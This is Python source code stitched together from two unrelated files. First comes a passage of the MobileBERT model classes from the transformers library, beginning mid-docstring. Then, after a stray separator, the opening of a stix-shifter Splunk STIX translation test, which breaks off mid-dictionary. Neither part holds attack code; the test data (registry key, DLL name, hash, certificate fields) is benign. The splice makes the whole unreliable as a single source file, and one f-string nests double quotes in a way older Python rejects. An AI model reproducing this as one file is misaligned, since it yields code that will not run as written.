Indices can be obtained using :class:`~transformers.BertTokenizer`. See
:meth:`transformers.PreTrainedTokenizer.encode` and :meth:`transformers.PreTrainedTokenizer.__call__` for
details.
`What are input IDs? <../glossary.html#input-ids>`__
attention_mask (:obj:`torch.FloatTensor` of shape :obj:`({0})`, `optional`):
Mask to avoid performing attention on padding token indices. Mask values selected in ``[0, 1]``:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
`What are attention masks? <../glossary.html#attention-mask>`__
token_type_ids (:obj:`torch.LongTensor` of shape :obj:`({0})`, `optional`):
Segment token indices to indicate first and second portions of the inputs. Indices are selected in ``[0,
1]``:
- 0 corresponds to a `sentence A` token,
- 1 corresponds to a `sentence B` token.
`What are token type IDs? <../glossary.html#token-type-ids>`_
position_ids (:obj:`torch.LongTensor` of shape :obj:`({0})`, `optional`):
Indices of positions of each input sequence tokens in the position embeddings. Selected in the range ``[0,
config.max_position_embeddings - 1]``.
`What are position IDs? <../glossary.html#position-ids>`_
head_mask (:obj:`torch.FloatTensor` of shape :obj:`(num_heads,)` or :obj:`(num_layers, num_heads)`, `optional`):
Mask to nullify selected heads of the self-attention modules. Mask values selected in ``[0, 1]``:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
inputs_embeds (:obj:`torch.FloatTensor` of shape :obj:`({0}, hidden_size)`, `optional`):
Optionally, instead of passing :obj:`input_ids` you can choose to directly pass an embedded representation.
This is useful if you want more control over how to convert :obj:`input_ids` indices into associated
vectors than the model's internal embedding lookup matrix.
output_attentions (:obj:`bool`, `optional`):
Whether or not to return the attentions tensors of all attention layers. See ``attentions`` under returned
tensors for more detail.
output_hidden_states (:obj:`bool`, `optional`):
Whether or not to return the hidden states of all layers. See ``hidden_states`` under returned tensors for
more detail.
return_dict (:obj:`bool`, `optional`):
Whether or not to return a :class:`~transformers.file_utils.ModelOutput` instead of a plain tuple.
"""
@add_start_docstrings(
"The bare MobileBert Model transformer outputting raw hidden-states without any specific head on top.",
MOBILEBERT_START_DOCSTRING,
)
class MobileBertModel(MobileBertPreTrainedModel):
"""
https://arxiv.org/pdf/2004.02984.pdf
"""
def __init__(self, config, add_pooling_layer=True):
super().__init__(config)
self.config = config
self.embeddings = MobileBertEmbeddings(config)
self.encoder = MobileBertEncoder(config)
self.pooler = MobileBertPooler(config) if add_pooling_layer else None
# Initialize weights and apply final processing
self.post_init()
def get_input_embeddings(self):
return self.embeddings.word_embeddings
def set_input_embeddings(self, value):
self.embeddings.word_embeddings = value
def _prune_heads(self, heads_to_prune):
"""
Prunes heads of the model. heads_to_prune: dict of {layer_num: list of heads to prune in this layer} See base
class PreTrainedModel
"""
for layer, heads in heads_to_prune.items():
self.encoder.layer[layer].attention.prune_heads(heads)
@add_start_docstrings_to_model_forward(MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=BaseModelOutputWithPooling,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
output_hidden_states=None,
output_attentions=None,
return_dict=None,
):
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if input_ids is not None and inputs_embeds is not None:
raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
elif input_ids is not None:
input_shape = input_ids.size()
elif inputs_embeds is not None:
input_shape = inputs_embeds.size()[:-1]
else:
raise ValueError("You have to specify either input_ids or inputs_embeds")
device = input_ids.device if input_ids is not None else inputs_embeds.device
if attention_mask is None:
attention_mask = torch.ones(input_shape, device=device)
if token_type_ids is None:
token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=device)
# We can provide a self-attention mask of dimensions [batch_size, from_seq_length, to_seq_length]
# ourselves in which case we just need to make it broadcastable to all heads.
extended_attention_mask: torch.Tensor = self.get_extended_attention_mask(
attention_mask, input_shape, self.device
)
# Prepare head mask if needed
# 1.0 in head_mask indicate we keep the head
# attention_probs has shape bsz x n_heads x N x N
# input head_mask has shape [num_heads] or [num_hidden_layers x num_heads]
# and head_mask is converted to shape [num_hidden_layers x batch x num_heads x seq_length x seq_length]
head_mask = self.get_head_mask(head_mask, self.config.num_hidden_layers)
embedding_output = self.embeddings(
input_ids=input_ids, position_ids=position_ids, token_type_ids=token_type_ids, inputs_embeds=inputs_embeds
)
encoder_outputs = self.encoder(
embedding_output,
attention_mask=extended_attention_mask,
head_mask=head_mask,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = encoder_outputs[0]
pooled_output = self.pooler(sequence_output) if self.pooler is not None else None
if not return_dict:
return (sequence_output, pooled_output) + encoder_outputs[1:]
return BaseModelOutputWithPooling(
last_hidden_state=sequence_output,
pooler_output=pooled_output,
hidden_states=encoder_outputs.hidden_states,
attentions=encoder_outputs.attentions,
)
@add_start_docstrings(
"""
MobileBert Model with two heads on top as done during the pretraining: a `masked language modeling` head and a
`next sentence prediction (classification)` head.
""",
MOBILEBERT_START_DOCSTRING,
)
class MobileBertForPreTraining(MobileBertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.mobilebert = MobileBertModel(config)
self.cls = MobileBertPreTrainingHeads(config)
# Initialize weights and apply final processing
self.post_init()
def get_output_embeddings(self):
return self.cls.predictions.decoder
def set_output_embeddings(self, new_embeddigs):
self.cls.predictions.decoder = new_embeddigs
def resize_token_embeddings(self, new_num_tokens: Optional[int] = None) -> nn.Embedding:
# resize dense output embedings at first
self.cls.predictions.dense = self._get_resized_lm_head(
self.cls.predictions.dense, new_num_tokens=new_num_tokens, transposed=True
)
return super().resize_token_embeddings(new_num_tokens=new_num_tokens)
@add_start_docstrings_to_model_forward(MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@replace_return_docstrings(output_type=MobileBertForPreTrainingOutput, config_class=_CONFIG_FOR_DOC)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
next_sentence_label=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (``torch.LongTensor`` of shape ``(batch_size, sequence_length)``, `optional`):
Labels for computing the masked language modeling loss. Indices should be in ``[-100, 0, ...,
config.vocab_size]`` (see ``input_ids`` docstring) Tokens with indices set to ``-100`` are ignored
(masked), the loss is only computed for the tokens with labels in ``[0, ..., config.vocab_size]``
next_sentence_label (``torch.LongTensor`` of shape ``(batch_size,)``, `optional`):
Labels for computing the next sequence prediction (classification) loss. Input should be a sequence pair
(see :obj:`input_ids` docstring) Indices should be in ``[0, 1]``:
- 0 indicates sequence B is a continuation of sequence A,
- 1 indicates sequence B is a random sequence.
Returns:
Examples::
>>> from transformers import MobileBertTokenizer, MobileBertForPreTraining
>>> import torch
>>> tokenizer = MobileBertTokenizer.from_pretrained("google/mobilebert-uncased")
>>> model = MobileBertForPreTraining.from_pretrained("google/mobilebert-uncased")
>>> input_ids = torch.tensor(tokenizer.encode("Hello, my dog is cute", add_special_tokens=True)).unsqueeze(0) # Batch size 1
>>> outputs = model(input_ids)
>>> prediction_logits = outputs.prediction_logits
>>> seq_relationship_logits = outputs.seq_relationship_logits
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.mobilebert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output, pooled_output = outputs[:2]
prediction_scores, seq_relationship_score = self.cls(sequence_output, pooled_output)
total_loss = None
if labels is not None and next_sentence_label is not None:
loss_fct = CrossEntropyLoss()
masked_lm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
next_sentence_loss = loss_fct(seq_relationship_score.view(-1, 2), next_sentence_label.view(-1))
total_loss = masked_lm_loss + next_sentence_loss
if not return_dict:
output = (prediction_scores, seq_relationship_score) + outputs[2:]
return ((total_loss,) + output) if total_loss is not None else output
return MobileBertForPreTrainingOutput(
loss=total_loss,
prediction_logits=prediction_scores,
seq_relationship_logits=seq_relationship_score,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings("""MobileBert Model with a `language modeling` head on top. """, MOBILEBERT_START_DOCSTRING)
class MobileBertForMaskedLM(MobileBertPreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
def __init__(self, config):
super().__init__(config)
self.mobilebert = MobileBertModel(config, add_pooling_layer=False)
self.cls = MobileBertOnlyMLMHead(config)
self.config = config
# Initialize weights and apply final processing
self.post_init()
def get_output_embeddings(self):
return self.cls.predictions.decoder
def set_output_embeddings(self, new_embeddigs):
self.cls.predictions.decoder = new_embeddigs
def resize_token_embeddings(self, new_num_tokens: Optional[int] = None) -> nn.Embedding:
# resize dense output embedings at first
self.cls.predictions.dense = self._get_resized_lm_head(
self.cls.predictions.dense, new_num_tokens=new_num_tokens, transposed=True
)
return super().resize_token_embeddings(new_num_tokens=new_num_tokens)
@add_start_docstrings_to_model_forward(MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=MaskedLMOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
Labels for computing the masked language modeling loss. Indices should be in ``[-100, 0, ...,
config.vocab_size]`` (see ``input_ids`` docstring) Tokens with indices set to ``-100`` are ignored
(masked), the loss is only computed for the tokens with labels in ``[0, ..., config.vocab_size]``
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.mobilebert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
prediction_scores = self.cls(sequence_output)
masked_lm_loss = None
if labels is not None:
loss_fct = CrossEntropyLoss() # -100 index = padding token
masked_lm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
if not return_dict:
output = (prediction_scores,) + outputs[2:]
return ((masked_lm_loss,) + output) if masked_lm_loss is not None else output
return MaskedLMOutput(
loss=masked_lm_loss,
logits=prediction_scores,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
class MobileBertOnlyNSPHead(nn.Module):
def __init__(self, config):
super().__init__()
self.seq_relationship = nn.Linear(config.hidden_size, 2)
def forward(self, pooled_output):
seq_relationship_score = self.seq_relationship(pooled_output)
return seq_relationship_score
@add_start_docstrings(
"""MobileBert Model with a `next sentence prediction (classification)` head on top. """,
MOBILEBERT_START_DOCSTRING,
)
class MobileBertForNextSentencePrediction(MobileBertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.mobilebert = MobileBertModel(config)
self.cls = MobileBertOnlyNSPHead(config)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@replace_return_docstrings(output_type=NextSentencePredictorOutput, config_class=_CONFIG_FOR_DOC)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
**kwargs,
):
r"""
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
Labels for computing the next sequence prediction (classification) loss. Input should be a sequence pair
(see ``input_ids`` docstring) Indices should be in ``[0, 1]``.
- 0 indicates sequence B is a continuation of sequence A,
- 1 indicates sequence B is a random sequence.
Returns:
Examples::
>>> from transformers import MobileBertTokenizer, MobileBertForNextSentencePrediction
>>> import torch
>>> tokenizer = MobileBertTokenizer.from_pretrained('google/mobilebert-uncased')
>>> model = MobileBertForNextSentencePrediction.from_pretrained('google/mobilebert-uncased')
>>> prompt = "In Italy, pizza served in formal settings, such as at a restaurant, is presented unsliced."
>>> next_sentence = "The sky is blue due to the shorter wavelength of blue light."
>>> encoding = tokenizer(prompt, next_sentence, return_tensors='pt')
>>> outputs = model(**encoding, labels=torch.LongTensor([1]))
>>> loss = outputs.loss
>>> logits = outputs.logits
"""
if "next_sentence_label" in kwargs:
warnings.warn(
"The `next_sentence_label` argument is deprecated and will be removed in a future version, use `labels` instead.",
FutureWarning,
)
labels = kwargs.pop("next_sentence_label")
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.mobilebert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
pooled_output = outputs[1]
seq_relationship_score = self.cls(pooled_output)
next_sentence_loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
next_sentence_loss = loss_fct(seq_relationship_score.view(-1, 2), labels.view(-1))
if not return_dict:
output = (seq_relationship_score,) + outputs[2:]
return ((next_sentence_loss,) + output) if next_sentence_loss is not None else output
return NextSentencePredictorOutput(
loss=next_sentence_loss,
logits=seq_relationship_score,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
MobileBert Model transformer with a sequence classification/regression head on top (a linear layer on top of the
pooled output) e.g. for GLUE tasks.
""",
MOBILEBERT_START_DOCSTRING,
)
# Copied from transformers.models.bert.modeling_bert.BertForSequenceClassification with Bert->MobileBert all-casing
class MobileBertForSequenceClassification(MobileBertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.config = config
self.mobilebert = MobileBertModel(config)
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = nn.Dropout(classifier_dropout)
self.classifier = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=SequenceClassifierOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
Labels for computing the sequence classification/regression loss. Indices should be in :obj:`[0, ...,
config.num_labels - 1]`. If :obj:`config.num_labels == 1` a regression loss is computed (Mean-Square loss),
If :obj:`config.num_labels > 1` a classification loss is computed (Cross-Entropy).
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.mobilebert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
pooled_output = outputs[1]
pooled_output = self.dropout(pooled_output)
logits = self.classifier(pooled_output)
loss = None
if labels is not None:
if self.config.problem_type is None:
if self.num_labels == 1:
self.config.problem_type = "regression"
elif self.num_labels > 1 and (labels.dtype == torch.long or labels.dtype == torch.int):
self.config.problem_type = "single_label_classification"
else:
self.config.problem_type = "multi_label_classification"
if self.config.problem_type == "regression":
loss_fct = MSELoss()
if self.num_labels == 1:
loss = loss_fct(logits.squeeze(), labels.squeeze())
else:
loss = loss_fct(logits, labels)
elif self.config.problem_type == "single_label_classification":
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
elif self.config.problem_type == "multi_label_classification":
loss_fct = BCEWithLogitsLoss()
loss = loss_fct(logits, labels)
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return SequenceClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
MobileBert Model with a span classification head on top for extractive question-answering tasks like SQuAD (a
linear layers on top of the hidden-states output to compute `span start logits` and `span end logits`).
""",
MOBILEBERT_START_DOCSTRING,
)
# Copied from transformers.models.bert.modeling_bert.BertForQuestionAnswering with Bert->MobileBert all-casing
class MobileBertForQuestionAnswering(MobileBertPreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.mobilebert = MobileBertModel(config, add_pooling_layer=False)
self.qa_outputs = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=QuestionAnsweringModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
start_positions=None,
end_positions=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
start_positions (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
Labels for position (index) of the start of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (:obj:`sequence_length`). Position outside of the
sequence are not taken into account for computing the loss.
end_positions (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
Labels for position (index) of the end of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (:obj:`sequence_length`). Position outside of the
sequence are not taken into account for computing the loss.
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.mobilebert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
logits = self.qa_outputs(sequence_output)
start_logits, end_logits = logits.split(1, dim=-1)
start_logits = start_logits.squeeze(-1).contiguous()
end_logits = end_logits.squeeze(-1).contiguous()
total_loss = None
if start_positions is not None and end_positions is not None:
# If we are on multi-GPU, split add a dimension
if len(start_positions.size()) > 1:
start_positions = start_positions.squeeze(-1)
if len(end_positions.size()) > 1:
end_positions = end_positions.squeeze(-1)
# sometimes the start/end positions are outside our model inputs, we ignore these terms
ignored_index = start_logits.size(1)
start_positions = start_positions.clamp(0, ignored_index)
end_positions = end_positions.clamp(0, ignored_index)
loss_fct = CrossEntropyLoss(ignore_index=ignored_index)
start_loss = loss_fct(start_logits, start_positions)
end_loss = loss_fct(end_logits, end_positions)
total_loss = (start_loss + end_loss) / 2
if not return_dict:
output = (start_logits, end_logits) + outputs[2:]
return ((total_loss,) + output) if total_loss is not None else output
return QuestionAnsweringModelOutput(
loss=total_loss,
start_logits=start_logits,
end_logits=end_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
MobileBert Model with a multiple choice classification head on top (a linear layer on top of the pooled output and
a softmax) e.g. for RocStories/SWAG tasks.
""",
MOBILEBERT_START_DOCSTRING,
)
# Copied from transformers.models.bert.modeling_bert.BertForMultipleChoice with Bert->MobileBert all-casing
class MobileBertForMultipleChoice(MobileBertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.mobilebert = MobileBertModel(config)
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = nn.Dropout(classifier_dropout)
self.classifier = nn.Linear(config.hidden_size, 1)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(
MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, num_choices, sequence_length")
)
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=MultipleChoiceModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
Labels for computing the multiple choice classification loss. Indices should be in ``[0, ...,
num_choices-1]`` where :obj:`num_choices` is the size of the second dimension of the input tensors. (See
:obj:`input_ids` above)
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
num_choices = input_ids.shape[1] if input_ids is not None else inputs_embeds.shape[1]
input_ids = input_ids.view(-1, input_ids.size(-1)) if input_ids is not None else None
attention_mask = attention_mask.view(-1, attention_mask.size(-1)) if attention_mask is not None else None
token_type_ids = token_type_ids.view(-1, token_type_ids.size(-1)) if token_type_ids is not None else None
position_ids = position_ids.view(-1, position_ids.size(-1)) if position_ids is not None else None
inputs_embeds = (
inputs_embeds.view(-1, inputs_embeds.size(-2), inputs_embeds.size(-1))
if inputs_embeds is not None
else None
)
outputs = self.mobilebert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
pooled_output = outputs[1]
pooled_output = self.dropout(pooled_output)
logits = self.classifier(pooled_output)
reshaped_logits = logits.view(-1, num_choices)
loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
loss = loss_fct(reshaped_logits, labels)
if not return_dict:
output = (reshaped_logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return MultipleChoiceModelOutput(
loss=loss,
logits=reshaped_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
MobileBert Model with a token classification head on top (a linear layer on top of the hidden-states output) e.g.
for Named-Entity-Recognition (NER) tasks.
""",
MOBILEBERT_START_DOCSTRING,
)
# Copied from transformers.models.bert.modeling_bert.BertForTokenClassification with Bert->MobileBert all-casing
class MobileBertForTokenClassification(MobileBertPreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.mobilebert = MobileBertModel(config, add_pooling_layer=False)
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = nn.Dropout(classifier_dropout)
self.classifier = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TokenClassifierOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
Labels for computing the token classification loss. Indices should be in ``[0, ..., config.num_labels -
1]``.
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.mobilebert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
sequence_output = self.dropout(sequence_output)
logits = self.classifier(sequence_output)
loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
# Only keep active parts of the loss
if attention_mask is not None:
active_loss = attention_mask.view(-1) == 1
active_logits = logits.view(-1, self.num_labels)
active_labels = torch.where(
active_loss, labels.view(-1), torch.tensor(loss_fct.ignore_index).type_as(labels)
)
loss = loss_fct(active_logits, active_labels)
else:
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return TokenClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
|
import json
import logging
from stix_shifter_utils.stix_translation.src.json_to_stix import json_to_stix_translator
from stix_shifter.stix_translation import stix_translation
from stix_shifter_modules.splunk.entry_point import EntryPoint
from stix2validator import validate_instance
from stix_shifter_modules.splunk.stix_translation.splunk_utils import hash_type_lookup
from stix_shifter_utils.stix_translation.src.utils.transformer_utils import get_module_transformers
MODULE = "splunk"
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger()
entry_point = EntryPoint()
map_data = entry_point.get_results_translator().map_data
data_source = {
"type": "identity",
"id": "identity--3532c56d-ea72-48be-a2ad-1a53f4c9c6d3",
"name": "Splunk",
"identity_class": "events"
}
options = {}
class TestTransform(object):
@staticmethod
def get_first(itr, constraint):
return next(
(obj for obj in itr if constraint(obj)),
None
)
@staticmethod
def get_first_of_type(itr, typ):
return TestTransform.get_first(itr, lambda o: type(o) == dict and o.get('type') == typ)
def test_common_prop(self):
data = {"_time": "2018-08-21T15:11:55.000+00:00", "event_count": 5}
result_bundle = json_to_stix_translator.convert_to_stix(
data_source, map_data, [data], get_module_transformers(MODULE), options)
assert(result_bundle['type'] == 'bundle')
result_bundle_objects = result_bundle['objects']
result_bundle_identity = result_bundle_objects[0]
assert(result_bundle_identity['type'] == data_source['type'])
assert(result_bundle_identity['id'] == data_source['id'])
assert(result_bundle_identity['name'] == data_source['name'])
assert(result_bundle_identity['identity_class']
== data_source['identity_class'])
observed_data = result_bundle_objects[1]
assert(observed_data['id'] is not None)
assert(observed_data['type'] == "observed-data")
assert(observed_data['created_by_ref'] == result_bundle_identity['id'])
assert(observed_data['number_observed'] == 5)
assert(observed_data['created'] is not None)
assert(observed_data['modified'] is not None)
assert(observed_data['first_observed'] is not None)
assert(observed_data['last_observed'] is not None)
def test_change_cim_to_stix(self):
count = 1
time = "2018-08-21T15:11:55.000+00:00"
file_bytes = "300"
user = "ibm_user"
objPath = "hkey_local_machine\\system\\bar\\foo"
filePath = "C:\\Users\\someuser\\sample.dll"
create_time = "2018-08-15T15:11:55.676+00:00"
modify_time = "2018-08-15T18:10:30.456+00:00"
file_hash = "41a26255d16d121dc525a6445144b895"
file_name = "sample.dll"
file_size = 25536
data = {
"event_count": count, "_time": time, "user": user,
"bytes": file_bytes, "object_path": objPath, "file_path": filePath,
"file_create_time": create_time, "file_modify_time": modify_time,
"file_hash": file_hash, "file_size": file_size, "file_name": file_name
}
result_bundle = json_to_stix_translator.convert_to_stix(
data_source, map_data, [data], get_module_transformers(MODULE), options, callback=hash_type_lookup)
assert(result_bundle['type'] == 'bundle')
result_bundle_objects = result_bundle['objects']
observed_data = result_bundle_objects[1]
validated_result = validate_instance(observed_data)
assert(validated_result.is_valid == True)
assert('objects' in observed_data)
objects = observed_data['objects']
# Test objects in Stix observable data model after transform
wrk_obj = TestTransform.get_first_of_type(objects.values(), 'windows-registry-key')
assert(wrk_obj is not None)
assert(wrk_obj.keys() == {'type', 'key'})
assert(wrk_obj['key'] == "hkey_local_machine\\system\\bar\\foo")
user_obj = TestTransform.get_first_of_type(objects.values(), 'user-account')
assert(user_obj is not None), 'user-account object type not found'
assert(user_obj.keys() == {'type', 'account_login', 'user_id'})
assert(user_obj['account_login'] == "ibm_user")
assert(user_obj['user_id'] == "ibm_user")
file_obj = TestTransform.get_first_of_type(objects.values(), 'file')
assert(file_obj is not None), 'file object type not found'
assert(file_obj.keys() == {'type', 'parent_directory_ref', 'created', 'modified', 'hashes', 'name', 'size'})
assert(file_obj['created'] == "2018-08-15T15:11:55.676Z")
assert(file_obj['modified'] == "2018-08-15T18:10:30.456Z")
assert(file_obj['name'] == "sample.dll")
assert(file_obj['size'] == 25536)
assert (file_obj['hashes']['MD5'] == "41a26255d16d121dc525a6445144b895")
dir_ref = file_obj['parent_directory_ref']
assert(dir_ref in objects), f"parent_directory_ref with key {file_obj["parent_directory_ref"]} not found"
dir_obj = objects[dir_ref]
assert(dir_obj is not None), 'directory object type not found'
assert(dir_obj.keys() == {'type', 'path', 'created', 'modified'})
assert(dir_obj['path'] == "C:\\Users\\someuser\\sample.dll")
assert(dir_obj['created'] == "2018-08-15T15:11:55.676Z")
assert(dir_obj['modified'] == "2018-08-15T18:10:30.456Z")
assert(objects.keys() == set(map(str, range(0, 4))))
def test_certificate_cim_to_stix(self):
count = 1
time = "2018-08-21T15:11:55.000+00:00"
serial = "1234"
version = "1"
sig_algorithm = "md5WithRSAEncryption"
key_algorithm = "rsaEncryption"
issuer = "C=US, ST=California, O=www.example.com, OU=new, CN=new"
subject = "C=US, ST=Maryland, L=Baltimore, O=John Doe, OU=ExampleCorp, CN=www.example.com/emailAddress=doe@example.com"
ssl_hash = "aec070645fe53ee3b3763059376134f058cc337247c978add178b6ccdfb0019f"
data = {
"event_count": count, "_time": time, "ssl_serial": serial,
